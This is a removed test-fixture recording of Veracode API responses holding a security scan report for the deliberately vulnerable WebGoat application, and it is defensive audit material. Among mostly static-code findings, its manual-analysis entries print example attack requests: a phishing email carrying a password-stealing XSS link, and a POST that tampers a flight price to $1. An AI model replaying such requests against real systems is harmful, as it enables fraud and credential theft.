-        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
-        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=1706623184&amp;menu=1700\nCookie:
-        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
-        339\n\ngId=GMail+id&amp;gPass=password&amp;subject=Password Reset Necessary!&amp;to=Phising.Victim%40owasp.org&amp;msg=Due
-        to a security flaw in our software all users must immediatly reset their password.
-        Please click the following link to reset your password: http://targethost/WebGoat/somevulnerablepage?xssparam=XssPayLoadThatWillStealPassword&amp;SUBMIT=Send%21</code>\n</appendix>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"External Control of Assumed-Immutable Web Parameter\"
-        count=\"1\" issueid=\"273\" module=\"manual_analysis\" type=\"\" description=\"The
-        application trusts values used in business logic that originate from the client.
-        The price of a flight is passed to the client through a JSON request. The
-        price value is subsequently sent back to the application when the client orders
-        a flight. There is no verification that the price value has not be modified.\"
-        note=\"\" cweid=\"472\" remediationeffort=\"2\" exploitLevel=\"2\" categoryid=\"25\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        location=\"http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\"
-        cvss=\"6\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"price2Submit\">\n<exploit_desc>A
-        malicious client attempting to book a flight and save money can intercept
-        the booking request and modify the price.</exploit_desc>\n<severity_desc>The
-        issue becomes severe since the malicious client will cause a loss in revenue.
-        A sophisticated attacker may resell the stolen flights at a discounted rate,
-        causing an even larger loss in revenue.</severity_desc>\n<remediation_desc>Only
-        send values from the client to the application that are necessary and cannot
-        be obtained from an internal data source. The price of the flight can be associated
-        with the the client's session, then obtained from the internal and trusted
-        data source as necessary. Treat all values from the client as untrusted.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<code>The
-        following POST request allows a ticket from BOS to SEA to be purchased for
-        1 dollar.\nNotice that the price2Submit parameter is set to %241 or $1\n\nPOST
-        /WebGoat/attack?Screen=655909089&amp;menu=400 HTTP/1.1\nHost: targethost\nUser-Agent:
-        Mozilla/5.0 (Windows NT 6.1; WOW64; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\nAccept:
-        text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language:
-        en-us,en;q=0.5\nAccept-Encoding: gzip, deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nProxy-Connection:
-        keep-alive\nReferer: http://targethost/WebGoat/attack?Screen=655909089&amp;menu=400\nCookie:
-        JSESSIONID=13984BA559044E0A4610D4AC31B06B27\nContent-Type: application/x-www-form-urlencoded\nContent-Length:
-        69\n\ntravelFrom=BOS&amp;travelTo=SEA&amp;radio0=on&amp;SUBMIT=Submit&amp;price2Submit=%241</code>\n</appendix>\n</flaw>\n</manualflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"13\" categoryname=\"Race Conditions\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Race conditions are the most well-known timing flaw and are related
-        to improper handling of a resource that can be accessed by multiple processes.
-        \ Race conditions exploit the small window of time between when a security
-        control is applied and when the service is used.  Vulnerabilities occur when
-        there is a discrepancy between the programmer's assumption of how a program
-        executes and what happens in reality. \"/>\n<para text=\"Attackers often exploit
-        race conditions to gain unauthorized access to system resources.  A common
-        scenario is a time-of-check time-of-use race condition, which takes advantage
-        of a timing gap between the time the authorization check is performed and
-        the time the resource is actually used. \"/>\n</desc>\n<recommendations>\n<para
-        text=\"Review the code carefully for any pair of operations that might fail
-        if arbitrary code is executed between them. Often, developers assume that
-        a series of actions represent an atomic operation when in fact they do not.
-        These non-atomic conditions commonly involve the filesystem and/or temporary
-        files.\"/>\n<para text=\"Pay close attention to asynchronous actions in processes
-        and make copious use of sanity checks in systems that may be subject to synchronization
-        errors.\"/>\n</recommendations>\n<cwe cweid=\"366\" cwename=\"Race Condition
-        within a Thread\" pcirelated=\"false\">\n<description>\n<text text=\"If two
-        threads of execution use a resource simultaneously, there exists the possibility
-        that resources may be used while invalid, in turn making the state of execution
-        undefined.\"/>\n</description>\n<staticflaws>\n<flaw severity=\"3\" categoryname=\"Race
-        Condition within a Thread\" count=\"1\" issueid=\"47\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"span.set\" description=\"There are total of 12 instances. A shared
-        variable 'mySession' is used here without a locking mechanism such as a synchronized
-        block. If two threads of execution reference a shared variable simultaneously,
-        the variable may be invalid or in an unexpected state.\r\n\r\nUse locking
-        functionality around code that alters or reads persistent data in a multi-threaded
-        environment.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/366.html)\r\n\r\n\"
-        note=\"\" cweid=\"366\" remediationeffort=\"2\" exploitLevel=\"-1\" categoryid=\"13\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"npp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"HammerHead.java\" line=\"135\" sourcefilepath=\"org/owasp/webgoat/\"
-        scope=\"org.owasp.webgoat.HammerHead\" functionprototype=\"void doPost(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"3\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
-        level=\"2\">\n<category categoryid=\"7\" categoryname=\"API Abuse\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"An API is a contract between a caller and a callee. Incorrect usage
-        of certain API functions can result in exploitable security vulnerabilities.\"/>\n<para
-        text=\"The most common forms of API abuse are caused by the caller failing
-        to honor its end of this contract.  For example, if a program fails to call
-        chdir() after calling chroot(), it violates the contract that specifies how
-        to change the active root directory in a secure fashion.  Providing too few
-        arguments to a varargs function such as printf() also violates the API contract
-        and will cause the missing parameters to be populated with unexpected data
-        from the stack.\"/>\n<para text=\"Another common mishap is when the caller
-        makes false assumptions about the callee's behavior.  One example of this
-        is when a caller expects a DNS-related function to return trustworthy information
-        that can be used for authentication purposes.  This is a bad assumption because
-        DNS responses can be easily spoofed.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"When calling API functions, be sure to fully understand and adhere
-        to the specifications to avoid introducing security vulnerabilities.  Do not
-        make assumptions about trustworthiness of the data returned from API calls
-        or use the data in a context that was unintended by that API.\"/>\n</recommendations>\n<cwe
-        cweid=\"245\" cwename=\"J2EE Bad Practices: Direct Management of Connections\"
-        pcirelated=\"false\">\n<description>\n<text text=\"The J2EE application directly
-        manages connections rather than using the container's resource management
-        facilities to obtain connections as specified in the J2EE standard.  Every
-        major web application container provides pooled database connection management
-        as part of its resource management framework. Duplicating this functionality
-        in an application is difficult and error prone, which is part of the reason
-        it is forbidden under the J2EE standard.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
-        count=\"1\" issueid=\"202\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"This call to getConnection() fails to use the J2EE container's
-        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
-        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
-        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"CreateDB.java\" line=\"69\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.CreateDB\" functionprototype=\"void main(java.lang.String
-        \ [])\" functionrelativelocation=\"16\"/>\n<flaw severity=\"2\" categoryname=\"J2EE
-        Bad Practices: Direct Management of Connections\" count=\"1\" issueid=\"114\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"This call to getConnection() fails to use the J2EE container's
-        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
-        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
-        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DatabaseUtilities.java\" line=\"68\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.DatabaseUtilities\" functionprototype=\"java.sql.Connection
-        makeConnection(WebSession)\" functionrelativelocation=\"93\"/>\n<flaw severity=\"2\"
-        categoryname=\"J2EE Bad Practices: Direct Management of Connections\" count=\"1\"
-        issueid=\"41\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"This call to getConnection() fails to use the J2EE container's
-        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
-        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
-        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DatabaseUtilities.java\" line=\"78\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.DatabaseUtilities\" functionprototype=\"java.sql.Connection
-        makeConnection(java.lang.String, java.lang.String)\" functionrelativelocation=\"90\"/>\n<flaw
-        severity=\"2\" categoryname=\"J2EE Bad Practices: Direct Management of Connections\"
-        count=\"1\" issueid=\"26\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"This call to getConnection() fails to use the J2EE container's
-        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
-        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
-        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DatabaseUtilities.java\" line=\"97\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.DatabaseUtilities\" functionprototype=\"java.sql.Connection
-        makeConnection(void)\" functionrelativelocation=\"72\"/>\n<flaw severity=\"2\"
-        categoryname=\"J2EE Bad Practices: Direct Management of Connections\" count=\"1\"
-        issueid=\"253\" module=\"WebGoat-5.0-with-jsp.war\" type=\"java.sql.DriverManager.getConnection\"
-        description=\"This call to getConnection() fails to use the J2EE container's
-        resource management facilities as required by the J2EE standard.\r\n\r\nRequest
-        the connection from the container rather than attempting to access it directly.\r\n\r\nReferences:
-        \r\nCWE (http://cwe.mitre.org/data/definitions/245.html)\r\n\r\n\" note=\"\"
-        cweid=\"245\" remediationeffort=\"2\" exploitLevel=\"0\" categoryid=\"7\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"nnp\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"DatabaseUtilities.java\" line=\"105\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.DatabaseUtilities\" functionprototype=\"java.sql.Connection
-        makeConnection(void)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"17\" categoryname=\"Code Quality\" pcirelated=\"false\">\n<desc>\n<para
-        text=\"Code quality issues stem from failure to follow good coding practices
-        and can lead to unpredictable behavior. These may include but are not limited
-        to:\">\n<bulletitem text=\"Neglecting to remove debug code or dead code\"/>\n<bulletitem
-        text=\"Improper resource management, such as using a pointer after it has
-        been freed\"/>\n<bulletitem text=\"Using the incorrect operator to compare
-        objects\"/>\n<bulletitem text=\"Failing to follow an API or framework specification\"/>\n<bulletitem
-        text=\"Using a language feature or API in an unintended manner\"/>\n</para>\n<para
-        text=\"While code quality flaws are generally less severe than other categories
-        and usually are not directly exploitable, they may serve as indicators that
-        developers are not following practices that increase the reliability and security
-        of an application.  For an attacker, code quality issues may provide an opportunity
-        to stress the application in unexpected ways.\"/>\n</desc>\n<recommendations>\n<para
-        text=\"The wide variance of code quality issues makes it impractical to generalize
-        how these issues should be addressed.  Refer to individual categories for
-        specific recommendations. \"/>\n</recommendations>\n<cwe cweid=\"597\" cwename=\"Use
-        of Wrong Operator in String Comparison\" pcirelated=\"false\">\n<description>\n<text
-        text=\"Using '==' to compare two strings for equality or '!=' for inequality
-        actually compares the object references rather than their values.  It is unlikely
-        that this reflects the intended application logic.\"/>\n</description>\n<staticflaws>\n<flaw
-        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
-        count=\"1\" issueid=\"176\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
-        description=\"Using '==' to compare two strings for equality actually compares
-        the object references rather than their values. It is unlikely that this reflects
-        the intended application logic.\r\n\r\nUse the equals() method to compare
-        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
-        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WeakAuthenticationCookie.java\" line=\"142\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\" functionprototype=\"java.lang.String
-        checkParams(session.WebSession)\" functionrelativelocation=\"70\"/>\n<flaw
-        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
-        count=\"1\" issueid=\"203\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
-        description=\"Using '==' to compare two strings for equality actually compares
-        the object references rather than their values. It is unlikely that this reflects
-        the intended application logic.\r\n\r\nUse the equals() method to compare
-        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
-        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"XMLInjection.java\" line=\"280\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.XMLInjection\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"85\"/>\n<flaw
-        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
-        count=\"1\" issueid=\"248\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
-        description=\"Using '==' to compare two strings for equality actually compares
-        the object references rather than their values. It is unlikely that this reflects
-        the intended application logic.\r\n\r\nUse the equals() method to compare
-        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
-        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"XMLInjection.java\" line=\"282\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.XMLInjection\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"86\"/>\n<flaw
-        severity=\"2\" categoryname=\"Use of Wrong Operator in String Comparison\"
-        count=\"1\" issueid=\"164\" module=\"WebGoat-5.0-with-jsp.war\" type=\"span.neq\"
-        description=\"Using '==' to compare two strings for equality actually compares
-        the object references rather than their values. It is unlikely that this reflects
-        the intended application logic.\r\n\r\nUse the equals() method to compare
-        strings, not the '==' operator.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/597.html)\r\n\r\n\"
-        note=\"\" cweid=\"597\" remediationeffort=\"1\" exploitLevel=\"-1\" categoryid=\"17\"
-        pcirelated=\"false\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"XMLInjection.java\" line=\"292\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.XMLInjection\" functionprototype=\"apache.ecs.Element
-        createContent(session.WebSession)\" functionrelativelocation=\"93\"/>\n</staticflaws>\n</cwe>\n</category>\n<category
-        categoryid=\"12\" categoryname=\"Cryptographic Issues\" pcirelated=\"true\">\n<desc>\n<para
-        text=\"Applications commonly use cryptography to implement authentication
-        mechanisms and to ensure the confidentiality and integrity of sensitive data,
-        both in transit and at rest.  The proper and accurate implementation of cryptography
-        is extremely critical to its efficacy.  Configuration or coding mistakes as
-        well as incorrect assumptions may negate a large degree of the protection
-        it affords, leaving the crypto implementation vulnerable to attack.\"/>\n<para
-        text=\"Common cryptographic mistakes include, but are not limited to, selecting
-        weak keys or weak cipher modes, unintentionally exposing sensitive cryptographic
-        data, using predictable entropy sources, and mismanaging or hard-coding keys.
-        \ \"/>\n<para text=\"Developers often make the dangerous assumption that they
-        can improve security by designing their own cryptographic algorithm; however,
-        one of the basic tenets of cryptography is that any cipher whose effectiveness
-        is reliant on the secrecy of the algorithm is fundamentally flawed.  \"/>\n</desc>\n<recommendations>\n<para
-        text=\"Select the appropriate type of cryptography for the intended purpose.
-        \ Avoid proprietary encryption algorithms as they typically rely on &quot;security
-        through obscurity&quot; rather than sound mathematics.  Select key sizes appropriate
-        for the data being protected; for high assurance applications, 256-bit symmetric
-        keys and 2048-bit asymmetric keys are sufficient.  Follow best practices for
-        key storage, and ensure that plaintext data and key material are not inadvertently
-        exposed.\"/>\n</recommendations>\n<cwe cweid=\"614\" cwename=\"Sensitive Cookie
-        in HTTPS Session Without 'Secure' Attribute\" pcirelated=\"true\">\n<description>\n<text
-        text=\"Setting the Secure attribute on an HTTP cookie instructs the web browser
-        to send it only over a secure channel, such as an SSL connection.  Issuing
-        a cookie without the Secure attribute allows the browser to transmit it over
-        unencrypted connections, which are susceptible to eavesdropping.  It is particularly
-        important to set the Secure attribute on any cookies containing sensitive
-        data, such as authentication information (e.g. &quot;remember me&quot; style
-        functionality).\"/>\n</description>\n<staticflaws>\n<flaw severity=\"2\" categoryname=\"Sensitive
-        Cookie in HTTPS Session Without 'Secure' Attribute\" count=\"1\" issueid=\"158\"
-        module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpServletResponse.addCookie\"
-        description=\"This call to javax.servlet.http.HttpServletResponse.addCookie()
-        adds a cookie to the HTTP response that does not have the Secure attribute
-        set. Failing to set this attribute allows the browser to send the cookie unencrypted
-        over an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used
-        by HTTPS sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
-        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
-        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Challenge2Screen.java\" line=\"172\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.Challenge2Screen\" functionprototype=\"apache.ecs.Element
-        doStage1(session.WebSession)\" functionrelativelocation=\"94\"/>\n<flaw severity=\"2\"
-        categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure' Attribute\"
-        count=\"1\" issueid=\"154\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpServletResponse.addCookie\"
-        description=\"This call to javax.servlet.http.HttpServletResponse.addCookie()
-        adds a cookie to the HTTP response that does not have the Secure attribute
-        set. Failing to set this attribute allows the browser to send the cookie unencrypted
-        over an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used
-        by HTTPS sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
-        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
-        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"Challenge2Screen.java\" line=\"193\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.Challenge2Screen\" functionprototype=\"apache.ecs.Element
-        doStage2(session.WebSession)\" functionrelativelocation=\"3\"/>\n<flaw severity=\"2\"
-        categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure' Attribute\"
-        count=\"1\" issueid=\"159\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpServletResponse.addCookie\"
-        description=\"This call to javax.servlet.http.HttpServletResponse.addCookie()
-        adds a cookie to the HTTP response that does not have the Secure attribute
-        set. Failing to set this attribute allows the browser to send the cookie unencrypted
-        over an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used
-        by HTTPS sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
-        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
-        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WeakAuthenticationCookie.java\" line=\"146\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.WeakAuthenticationCookie\" functionprototype=\"java.lang.String
-        checkParams(session.WebSession)\" functionrelativelocation=\"89\"/>\n<flaw
-        severity=\"2\" categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure'
-        Attribute\" count=\"1\" issueid=\"19\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.http.HttpServletResponse.addCookie\" description=\"This
-        call to javax.servlet.http.HttpServletResponse.addCookie() adds a cookie to
-        the HTTP response that does not have the Secure attribute set. Failing to
-        set this attribute allows the browser to send the cookie unencrypted over
-        an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used by HTTPS
-        sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
-        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
-        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WeakSessionID.java\" line=\"209\" sourcefilepath=\"org/owasp/webgoat/lessons/\"
-        scope=\"org.owasp.webgoat.lessons.WeakSessionID\" functionprototype=\"apache.ecs.Element
-        makeLogin(session.WebSession)\" functionrelativelocation=\"8\"/>\n<flaw severity=\"2\"
-        categoryname=\"Sensitive Cookie in HTTPS Session Without 'Secure' Attribute\"
-        count=\"1\" issueid=\"52\" module=\"WebGoat-5.0-with-jsp.war\" type=\"javax.servlet.http.HttpServletResponse.addCookie\"
-        description=\"This call to javax.servlet.http.HttpServletResponse.addCookie()
-        adds a cookie to the HTTP response that does not have the Secure attribute
-        set. Failing to set this attribute allows the browser to send the cookie unencrypted
-        over an HTTP session.\r\n\r\nSet the Secure attribute for all cookies used
-        by HTTPS sessions.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/614.html)
-        \r\nWASC (http://webappsec.pbworks.com/Insufficient-Transport-Layer-Protection)\r\n\r\n\"
-        note=\"\" cweid=\"614\" remediationeffort=\"1\" exploitLevel=\"0\" categoryid=\"12\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"pnn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"WebSession.java\" line=\"335\" sourcefilepath=\"org/owasp/webgoat/session/\"
-        scope=\"org.owasp.webgoat.session.WebSession\" functionprototype=\"void eatCookies()\"
-        functionrelativelocation=\"79\"/>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<severity
-        level=\"1\"/>\n<severity level=\"0\"/>\n<flaw-status new=\"190\" reopen=\"0\"
-        open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\" sev-1-change=\"0\"
-        sev-2-change=\"14\" sev-3-change=\"148\" sev-4-change=\"22\" sev-5-change=\"6\"/>\n</detailedreport>\n"
-    http_version: 
-  recorded_at: Wed, 06 Jun 2012 16:25:28 GMT
-- request:
-    method: get
-    uri: https://test:test@analysiscenter.veracode.com/api/2.0/summaryreport.do?build_id=44905
-    body:
-      encoding: US-ASCII
-      string: ''
-    headers: {}
-  response:
-    status:
-      code: 200
-      message: OK
-    headers:
-      Pragma:
-      - ''
-      Cache-Control:
-      - no-store private must-revalidate
-      Expires:
-      - Thu, 01 Jan 1970 00:00:00 GMT
-      Set-Cookie:
-      - JSESSIONID=25463857974C8954780AA750F812AEB4; Path=/; Secure
-      - JSESSIONID=6EDFE24528ECA1527F6865FB60E9169B; Path=/; Secure
-      Content-Type:
-      - text/xml
-      Transfer-Encoding:
-      - chunked
-      Date:
-      - Wed, 06 Jun 2012 22:41:58 GMT
-      Server:
-      - Apache
-    body:
-      encoding: US-ASCII
-      string: ! '<?xml version="1.0" encoding="UTF-8"?>
-
-
-        <summaryreport xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://www.veracode.com/schema/reports/export/1.0"
-        xsi:schemaLocation="https://www.veracode.com/schema/reports/export/1.0 https://analysiscenter.veracode.com/resource/summaryreport.xsd"
-        report_format_version="1.1" app_name="WebGoat" app_id="32338" first_build_submitted_date="2012-02-29
-        16:17:16 UTC" version="5.0" build_id="44905" submitter="Veracode" platform="Java"
-        assurance_level="5" business_criticality="5" generation_date="2012-06-06 22:41:58
-        UTC" veracode_level="VL1" total_flaws="190" flaws_not_mitigated="190" teams=""
-        life_cycle_stage="External or Beta Testing" planned_deployment_date="" last_update_time="2012-03-01
-        15:03:51 UTC" is_latest_build="true" policy_name="Veracode Transitional Very
-        High" policy_version="1" policy_compliance_status="Did Not Pass" policy_rules_status="Did
-        Not Pass" grace_period_expired="true" scan_overdue="false" any_type_scan_due="2012-03-01
-        15:03:50 UTC" business_owner="" business_unit="Not Specified" tags="">
-
-        <static-analysis rating="F" score="59" submitted_date="2012-02-29 16:16:57
-        UTC" published_date="2012-03-01 14:26:18 UTC" analysis_size_bytes="3734905">
-
-        <modules>
-
-        <module name="WebGoat-5.0-with-jsp.war" compiler="JAVAC_6" os="Java J2SE 6"
-        architecture="JVM" score="59" numflawssev0="0" numflawssev1="0" numflawssev2="14"
-        numflawssev3="136" numflawssev4="21" numflawssev5="2"/>
-
-        </modules>
-
-        </static-analysis>
-
-        <dynamic-analysis rating="D" score="89" submitted_date="2012-03-01 14:58:22
-        UTC" published_date="2012-03-01 15:03:50 UTC">
-
-        <modules>
-
-        <module name="dynamic_analysis" compiler="Unknown" os="" architecture="" score="89"
-        numflawssev0="0" numflawssev1="0" numflawssev2="0" numflawssev3="10" numflawssev4="1"
-        numflawssev5="1" target_url="http://10.10.31.202:8080/webgoat"/>
-
-        </modules>
-
-        </dynamic-analysis>
-
-        <manual-analysis rating="D" score="81" submitted_date="2012-03-01 14:59:07
-        UTC" published_date="2012-03-01 14:59:14 UTC">
-
-        <cia_adjustment>0</cia_adjustment>
-
-        <modules>
-
-        <module name="manual_analysis" compiler="Unknown" os="" architecture="" score="81"
-        numflawssev0="0" numflawssev1="0" numflawssev2="0" numflawssev3="2" numflawssev4="0"
-        numflawssev5="3"/>
-
-        </modules>
-
-        </manual-analysis>
-
-        <severity level="5">
-
-        <category categoryname="OS Command Injection" severity="Very High" count="3"/>
-
-        <category categoryname="Other" severity="Very High" count="1"/>
-
